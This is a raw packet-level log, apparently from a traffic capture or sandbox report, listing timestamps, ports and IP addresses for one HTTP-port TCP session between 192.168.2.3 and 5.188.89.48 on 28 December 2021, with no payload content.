Dec 28, 2021 05:19:29.132548094 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132565022 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132587910 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132610083 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132625103 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132632971 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132656097 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132668018 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132677078 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.132685900 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.132731915 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.195703983 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195739985 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195761919 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195785999 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195808887 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195831060 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195851088 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195861101 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.195873976 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195899010 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195913076 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.195924044 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195949078 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195964098 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.195972919 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.195991993 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.195997000 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196022034 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196046114 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196044922 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196070910 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196079969 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196095943 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196120024 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196144104 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196165085 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196167946 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196192980 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196216106 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196225882 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196239948 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196253061 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196264982 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196290016 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196304083 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196314096 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196331024 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196337938 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196361065 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196383953 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196396112 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196412086 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196434975 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196458101 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196465015 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196482897 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196505070 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196511984 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196527958 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196551085 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196559906 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196573019 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196587086 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196598053 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196621895 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196635962 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196644068 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196662903 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196669102 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196692944 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196716070 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196732998 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196739912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196764946 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196788073 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196789980 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196811914 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196835041 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.196836948 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196881056 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.196909904 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.259918928 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.259946108 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.259958029 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.259969950 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.259984970 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260000944 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260020018 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260044098 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260061026 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260077000 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260092020 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260102987 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260111094 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260118961 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260135889 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260139942 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260149956 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260154009 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260205984 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260209084 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260226011 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260243893 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260260105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260279894 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260296106 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260296106 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260309935 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260314941 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260319948 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260333061 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260349989 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260365963 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260369062 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260384083 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260401011 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260413885 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260416985 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260431051 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260433912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260451078 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260459900 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260469913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260485888 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260498047 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260513067 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260529995 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260531902 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260546923 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260549068 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260562897 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260576010 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260580063 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260596991 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260596991 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260612965 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260628939 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260642052 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260644913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260662079 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260667086 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260677099 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260690928 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260693073 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260710001 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260725021 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260741949 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.260744095 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260786057 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.260798931 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.263958931 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.323297024 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323374033 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323426008 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323478937 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323487997 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.323544025 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323580980 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.323597908 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323654890 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323678017 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.323705912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323759079 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323812008 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323817015 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.323864937 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323905945 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.323919058 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.323971033 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324007034 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324023962 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324078083 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324127913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324136972 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324181080 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324192047 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324275017 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324327946 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324407101 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324462891 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324520111 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324558973 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324614048 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324665070 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324704885 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324732065 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324742079 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324750900 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324757099 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324762106 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324783087 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324822903 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324851990 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324899912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324942112 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.324949980 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.324981928 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325021982 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325028896 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.325067043 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325098038 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.325123072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325170994 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.325177908 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325220108 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325258017 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325292110 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.325300932 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325342894 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.325457096 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.327045918 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327100039 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327140093 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327178955 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327218056 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327239037 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.327259064 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327301979 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327301979 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.327342033 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.327374935 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.327450991 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.388463020 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388519049 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388557911 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388597012 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388634920 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388654947 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.388678074 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388719082 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.388720036 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388757944 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388761044 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.388797998 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388834953 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.388839006 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388914108 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.388916969 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388957024 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.388998032 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389035940 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389069080 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389077902 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389120102 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389121056 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389158010 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389195919 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389198065 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389239073 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389281034 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389313936 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389322996 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389363050 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389370918 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389403105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389437914 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389442921 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389482021 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389520884 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389529943 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389560938 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389600039 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389600992 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389642954 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389672995 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389682055 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389722109 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389760971 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389791965 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389800072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389838934 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389844894 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389878035 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389908075 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.389918089 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389959097 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.389996052 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390005112 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390034914 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390057087 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390074015 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390110970 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390134096 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390150070 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390187979 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390227079 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390254021 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390269041 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390309095 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390322924 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390350103 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390376091 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390388966 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390425920 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390464067 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390470028 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390503883 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390541077 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390544891 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390619993 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390650034 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390693903 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390732050 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390770912 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390803099 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390810013 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390847921 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390861988 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390887022 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390916109 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.390925884 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.390965939 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391005993 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391015053 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391042948 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391081095 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391083002 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391123056 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391151905 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391160011 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391197920 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391237020 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391273022 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391275883 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391318083 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391328096 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391355991 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391385078 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391396046 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391436100 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391484976 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391514063 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391554117 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391609907 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391629934 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391668081 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391722918 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391738892 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391767979 CET	80	49824	5.188.89.48	192.168.2.3
